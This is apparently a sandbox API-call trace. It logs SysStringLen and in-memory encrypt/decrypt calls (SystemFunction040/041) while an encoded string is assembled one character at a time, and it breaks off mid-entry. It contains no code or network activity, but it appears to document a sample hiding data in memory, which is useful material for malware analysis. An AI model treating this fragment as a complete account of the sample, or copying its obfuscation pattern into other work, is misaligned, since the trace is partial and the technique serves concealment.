[0138.927] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0138.927] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.927] SysStringLen (param_1="YWM1OT") returned 0x8 [0138.927] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.927] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0138.927] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0138.927] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.927] SysStringLen (param_1="YWM1OTE") returned 0x8 [0138.927] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.927] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0138.927] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0138.927] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.927] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0138.927] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.928] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.928] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.928] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.928] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0138.928] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.928] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0138.928] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.928] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0138.928] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0138.928] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.928] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0138.928] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.928] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0138.928] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0138.928] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.928] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0138.928] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.928] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0138.928] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0138.928] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.928] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0138.928] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.929] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0138.929] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0138.929] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.929] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0138.929] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.929] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0138.929] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0138.929] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.929] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0138.929] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.929] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0138.929] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0138.929] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.929] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0138.929] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.929] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0138.929] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0138.929] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.929] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0138.929] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.929] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.929] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.929] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.930] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0138.930] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.930] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0138.930] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.930] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0138.930] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0138.930] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.930] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0138.930] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.930] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0138.930] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0138.930] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.930] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0138.930] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.930] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0138.930] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0138.930] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.930] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0138.930] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.930] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0138.930] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0138.930] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.931] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0138.931] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.931] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0138.931] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0138.931] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.931] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0138.931] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.931] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0138.931] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0138.931] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.931] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0138.931] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.931] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0138.931] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0138.931] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.931] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0138.931] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.931] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.931] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.931] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.931] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0138.931] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.932] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0138.932] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.932] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0138.932] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0138.932] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.932] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0138.932] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.932] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0138.932] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0138.932] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.932] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0138.932] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.932] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0138.932] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0138.932] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.932] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0138.932] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.933] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0138.933] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0138.933] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.933] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0138.933] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.933] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0138.933] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0138.933] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.933] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0138.933] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.933] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0138.933] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0138.933] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.933] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0138.933] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.933] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0138.933] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0138.933] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.933] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0138.933] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.933] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.934] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.934] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.934] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0138.934] SystemFunction041 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.934] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0138.934] SystemFunction040 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.934] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0138.934] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0138.934] SystemFunction041 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.934] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0138.934] SystemFunction040 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.934] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0138.934] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0138.934] SystemFunction041 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.934] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0138.934] SystemFunction040 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.934] SysStringLen 